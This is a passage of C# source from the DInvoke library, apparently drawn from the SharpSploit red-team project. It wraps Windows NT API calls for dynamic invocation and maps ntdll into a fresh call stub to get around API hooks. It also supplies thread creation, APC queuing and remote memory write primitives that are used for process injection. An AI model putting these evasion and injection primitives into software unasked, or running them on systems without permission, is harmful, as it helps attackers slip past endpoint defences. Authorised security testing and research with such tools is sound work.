Data.PE.PE_META_DATA PEINFO = GetPeMetaData(pModule);
// Alloc PE image memory -> RW
IntPtr BaseAddress = IntPtr.Zero;
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
IntPtr pImage = Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE
);
// Write PE header to memory
UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
// Write sections to memory
foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
// Calculate offsets
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
// Write data
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
if (BytesWritten != ish.SizeOfRawData)
{
throw new InvalidOperationException("Failed to write to memory.");
}
}
// Get Ptr to function
IntPtr pFunc = GetExportAddress(pImage, FunctionName);
if (pFunc == IntPtr.Zero)
{
throw new InvalidOperationException("Failed to resolve ntdll export.");
}
// Alloc memory for call stub
BaseAddress = IntPtr.Zero;
RegionSize = (IntPtr)0x50;
IntPtr pCallStub = Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE
);
// Write call stub
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50);
if (BytesWritten != 0x50)
{
throw new InvalidOperationException("Failed to write to memory.");
}
// Change call stub permissions
Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Data.Win32.WinNT.PAGE_EXECUTE_READ);
// Free temporary allocations
Marshal.FreeHGlobal(pModule);
RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE);
return pCallStub;
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Native.cs
================================================
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;
using Data = DInvoke.Data;
namespace DInvoke.DynamicInvoke
{
///
/// Contains function prototypes and wrapper functions for dynamically invoking NT API Calls.
///
public class Native
{
public static Data.Native.NTSTATUS NtCreateThreadEx(
ref IntPtr threadHandle,
Data.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList)
{
// Craft an array for the arguments
object[] funcargs =
{
threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits,
sizeOfStack, maximumStackSize, attributeList
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx",
typeof(DELEGATES.NtCreateThreadEx), ref funcargs);
// Update the modified variables
threadHandle = (IntPtr)funcargs[0];
return retValue;
}
public static Data.Native.NTSTATUS RtlCreateUserThread(
IntPtr Process,
IntPtr ThreadSecurityDescriptor,
bool CreateSuspended,
IntPtr ZeroBits,
IntPtr MaximumStackSize,
IntPtr CommittedStackSize,
IntPtr StartAddress,
IntPtr Parameter,
ref IntPtr Thread,
IntPtr ClientId)
{
// Craft an array for the arguments
object[] funcargs =
{
Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits,
MaximumStackSize, CommittedStackSize, StartAddress, Parameter,
Thread, ClientId
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread",
typeof(DELEGATES.RtlCreateUserThread), ref funcargs);
// Update the modified variables
Thread = (IntPtr)funcargs[8];
return retValue;
}
public static Data.Native.NTSTATUS NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Unable to create section, " + retValue);
}
// Update the modified variables
SectionHandle = (IntPtr) funcargs[0];
MaximumSize = (ulong) funcargs[3];
return retValue;
}
public static Data.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr)
{
// Craft an array for the arguments
object[] funcargs =
{
hProc, baseAddr
};
Data.Native.NTSTATUS result = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection",
typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs);
return result;
}
public static Data.Native.NTSTATUS NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
ref ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect)
{
// Craft an array for the arguments
object[] funcargs =
{
SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType,
Win32Protect
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success && retValue != Data.Native.NTSTATUS.ImageNotAtBase)
{
throw new InvalidOperationException("Unable to map view of section, " + retValue);
}
// Update the modified variables.
BaseAddress = (IntPtr) funcargs[2];
ViewSize = (ulong) funcargs[6];
return retValue;
}
public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
// Craft an array for the arguments
object[] funcargs =
{
DestinationString, SourceString
};
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
DestinationString = (Data.Native.UNICODE_STRING)funcargs[0];
}
public static Data.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Data.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
PathToFile, dwFlags, ModuleFileName, ModuleHandle
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs);
// Update the modified variables
ModuleHandle = (IntPtr)funcargs[3];
return retValue;
}
public static void RtlZeroMemory(IntPtr Destination, int Length)
{
// Craft an array for the arguments
object[] funcargs =
{
Destination, Length
};
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs);
}
public static Data.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)
{
int processInformationLength;
UInt32 RetLen = 0;
switch (processInfoClass)
{
case Data.Native.PROCESSINFOCLASS.ProcessWow64Information:
pProcInfo = Marshal.AllocHGlobal(IntPtr.Size);
RtlZeroMemory(pProcInfo, IntPtr.Size);
processInformationLength = IntPtr.Size;
break;
case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation:
Data.Native.PROCESS_BASIC_INFORMATION PBI = new Data.Native.PROCESS_BASIC_INFORMATION();
pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI));
RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI));
Marshal.StructureToPtr(PBI, pProcInfo, true);
processInformationLength = Marshal.SizeOf(PBI);
break;
default:
throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}");
}
object[] funcargs =
{
hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
pProcInfo = (IntPtr)funcargs[2];
return retValue;
}
public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess)
{
Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
{
return false;
}
return true;
}
public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess)
{
Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
return (Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION));
}
public static IntPtr NtOpenProcess(UInt32 ProcessId, Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess)
{
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
IntPtr ProcessHandle = IntPtr.Zero;
Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES();
Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID();
ci.UniqueProcess = (IntPtr)ProcessId;
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, DesiredAccess, oa, ci
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid)
{
throw new InvalidOperationException("An invalid client ID was specified.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
ProcessHandle = (IntPtr)funcargs[0];
return ProcessHandle;
}
public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3)
{
// Craft an array for the arguments
object[] funcargs =
{
ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Unable to queue APC, " + retValue);
}
}
public static IntPtr NtOpenThread(int TID, Data.Win32.Kernel32.ThreadAccess DesiredAccess)
{
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
IntPtr ThreadHandle = IntPtr.Zero;
Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES();
Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID();
ci.UniqueThread = (IntPtr)TID;
// Craft an array for the arguments
object[] funcargs =
{
ThreadHandle, DesiredAccess, oa, ci
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid)
{
throw new InvalidOperationException("An invalid client ID was specified.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
ThreadHandle = (IntPtr)funcargs[0];
return ThreadHandle;
}
public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs);
if (retValue == Data.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Data.Native.NTSTATUS.AlreadyCommitted)
{
// STATUS_ALREADY_COMMITTED
throw new InvalidOperationException("The specified address range is already committed.");
}
if (retValue == Data.Native.NTSTATUS.CommitmentLimit)
{
// STATUS_COMMITMENT_LIMIT
throw new InvalidOperationException("Your system is low on virtual memory.");
}
if (retValue == Data.Native.NTSTATUS.ConflictingAddresses)
{
// STATUS_CONFLICTING_ADDRESSES
throw new InvalidOperationException("The specified address range conflicts with the address space.");
}
if (retValue == Data.Native.NTSTATUS.InsufficientResources)
{
// STATUS_INSUFFICIENT_RESOURCES
throw new InvalidOperationException("Insufficient system resources exist to complete the API call.");
}
if (retValue == Data.Native.NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue == Data.Native.NTSTATUS.InvalidPageProtection)
{
// STATUS_INVALID_PAGE_PROTECTION
throw new InvalidOperationException("The specified page protection was not valid.");
}
if (retValue == Data.Native.NTSTATUS.NoMemory)
{
// STATUS_NO_MEMORY
throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation.");
}
if (retValue == Data.Native.NTSTATUS.ObjectTypeMismatch)
{
// STATUS_OBJECT_TYPE_MISMATCH
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
// STATUS_PROCESS_IS_TERMINATING == 0xC000010A
throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process.");
}
BaseAddress = (IntPtr)funcargs[1];
return BaseAddress;
}
public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 FreeType)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, FreeType
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs);
if (retValue == Data.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Data.Native.NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
// STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
}
public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem)
{
// Alloc buffer for result struct
IntPtr pBase = IntPtr.Zero;
IntPtr RegionSize = (IntPtr)0x500;
IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_READWRITE);
// Prepare NtQueryVirtualMemory parameters
Data.Native.MEMORYINFOCLASS memoryInfoClass = Data.Native.MEMORYINFOCLASS.MemorySectionName;
UInt32 MemoryInformationLength = 0x500;
UInt32 Retlen = 0;
// Craft an array for the arguments
object[] funcargs =
{
hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs);
string FilePath = string.Empty;
if (retValue == Data.Native.NTSTATUS.Success)
{
Data.Native.UNICODE_STRING sn = (Data.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Data.Native.UNICODE_STRING));
FilePath = Marshal.PtrToStringUni(sn.Buffer);
}
// Free allocation
NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE);
if (retValue == Data.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Data.Native.NTSTATUS.AccessViolation)
{
// STATUS_ACCESS_VIOLATION
throw new InvalidOperationException("The specified base address is an invalid virtual address.");
}
if (retValue == Data.Native.NTSTATUS.InfoLengthMismatch)
{
// STATUS_INFO_LENGTH_MISMATCH
throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength.");
}
if (retValue == Data.Native.NTSTATUS.InvalidParameter)
{
// STATUS_INVALID_PARAMETER
throw new InvalidOperationException("The specified base address is outside the range of accessible addresses.");
}
return FilePath;
}
public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect)
{
// Craft an array for the arguments
UInt32 OldProtect = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to change memory protection, " + retValue);
}
OldProtect = (UInt32)funcargs[4];
return OldProtect;
}
public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength)
{
// Craft an array for the arguments
UInt32 BytesWritten = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to write memory, " + retValue);
}
BytesWritten = (UInt32)funcargs[4];
return BytesWritten;
}
public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress)
{
// Craft an array for the arguments
object[] funcargs =
{
hModule, FunctionName, Ordinal, FunctionAddress
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed get procedure address, " + retValue);
}
FunctionAddress = (IntPtr)funcargs[3];
return FunctionAddress;
}
public static void RtlGetVersion(ref Data.Native.OSVERSIONINFOEX VersionInformation)
{
// Craft an array for the arguments
object[] funcargs =
{
VersionInformation
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed get procedure address, " + retValue);
}
VersionInformation = (Data.Native.OSVERSIONINFOEX)funcargs[0];
}
public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead)
{
// Craft an array for the arguments
UInt32 NumberOfBytesRead = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to read memory, " + retValue);
}
NumberOfBytesRead = (UInt32)funcargs[4];
return NumberOfBytesRead;
}
public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Data.Native.OBJECT_ATTRIBUTES ObjAttr, ref Data.Native.IO_STATUS_BLOCK IoStatusBlock, Data.Win32.Kernel32.FileShareFlags ShareAccess, Data.Win32.Kernel32.FileOpenFlags OpenOptions)
{
// Craft an array for the arguments
object[] funcargs =
{
FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to open file, " + retValue);
}
FileHandle = (IntPtr)funcargs[0];
return FileHandle;
}
///
/// Holds delegates for API calls in the NT Layer.
/// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke
///
///
///
/// // These delegates may also be used directly.
///
/// // Get a pointer to the NtCreateThreadEx function.
/// IntPtr pFunction = Execution.DynamicInvoke.Generic.GetLibraryAddress(@"ntdll.dll", "NtCreateThreadEx");
///
/// // Create an instance of a NtCreateThreadEx delegate from our function pointer.
/// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
/// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx));
///
/// // Invoke NtCreateThreadEx using the delegate
/// createThread(ref threadHandle, Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero,
/// procHandle, startAddress, IntPtr.Zero, Data.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero);
///
///
public struct DELEGATES
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtCreateThreadEx(
out IntPtr threadHandle,
Data.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS RtlCreateUserThread(
IntPtr Process,
IntPtr ThreadSecurityDescriptor,
bool CreateSuspended,
IntPtr ZeroBits,
IntPtr MaximumStackSize,
IntPtr CommittedStackSize,
IntPtr StartAddress,
IntPtr Parameter,
ref IntPtr Thread,
IntPtr ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtUnmapViewOfSection(
IntPtr hProc,
IntPtr baseAddr);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
out IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
out ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 LdrLoadDll(
IntPtr PathToFile,
UInt32 dwFlags,
ref Data.Native.UNICODE_STRING ModuleFileName,
ref IntPtr ModuleHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlInitUnicodeString(
ref Data.Native.UNICODE_STRING DestinationString,
[MarshalAs(UnmanagedType.LPWStr)]
string SourceString);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlZeroMemory(
IntPtr Destination,
int length);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueryInformationProcess(
IntPtr processHandle,
Data.Native.PROCESSINFOCLASS processInformationClass,
IntPtr processInformation,
int processInformationLength,
ref UInt32 returnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenProcess(
ref IntPtr ProcessHandle,
Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess,
ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,
ref Data.Native.CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueueApcThread(
IntPtr ThreadHandle,
IntPtr ApcRoutine,
IntPtr ApcArgument1,
IntPtr ApcArgument2,
IntPtr ApcArgument3);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenThread(
ref IntPtr ThreadHandle,
Data.Win32.Kernel32.ThreadAccess DesiredAccess,
ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,
ref Data.Native.CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
UInt32 AllocationType,
UInt32 Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtFreeVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 FreeType);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueryVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
Data.Native.MEMORYINFOCLASS MemoryInformationClass,
IntPtr MemoryInformation,
UInt32 MemoryInformationLength,
ref UInt32 ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
ref UInt32 OldProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 BufferLength,
ref UInt32 BytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 RtlUnicodeStringToAnsiString(
ref Data.Native.ANSI_STRING DestinationString,
ref Data.Native.UNICODE_STRING SourceString,
bool AllocateDestinationString);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 LdrGetProcedureAddress(
IntPtr hModule,
IntPtr FunctionName,
IntPtr Ordinal,
ref IntPtr FunctionAddress);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 RtlGetVersion(
ref Data.Native.OSVERSIONINFOEX VersionInformation);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtReadVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 NumberOfBytesToRead,
ref UInt32 NumberOfBytesRead);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenFile(
ref IntPtr FileHandle,
Data.Win32.Kernel32.FileAccessFlags DesiredAccess,
ref Data.Native.OBJECT_ATTRIBUTES ObjAttr,
ref Data.Native.IO_STATUS_BLOCK IoStatusBlock,
Data.Win32.Kernel32.FileShareFlags ShareAccess,
Data.Win32.Kernel32.FileOpenFlags OpenOptions);
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Utilities.cs
================================================
using System;
using System.Security.Cryptography.X509Certificates;
namespace DInvoke.Utilities
{
class Utilities
{
///
/// Checks that a file is signed and has a valid signature.
///
/// Path of file to check.
///
public static bool FileHasValidSignature(string FilePath)
{
X509Certificate2 FileCertificate;
try
{
X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath);
FileCertificate = new X509Certificate2(signer);
}
catch
{
return false;
}
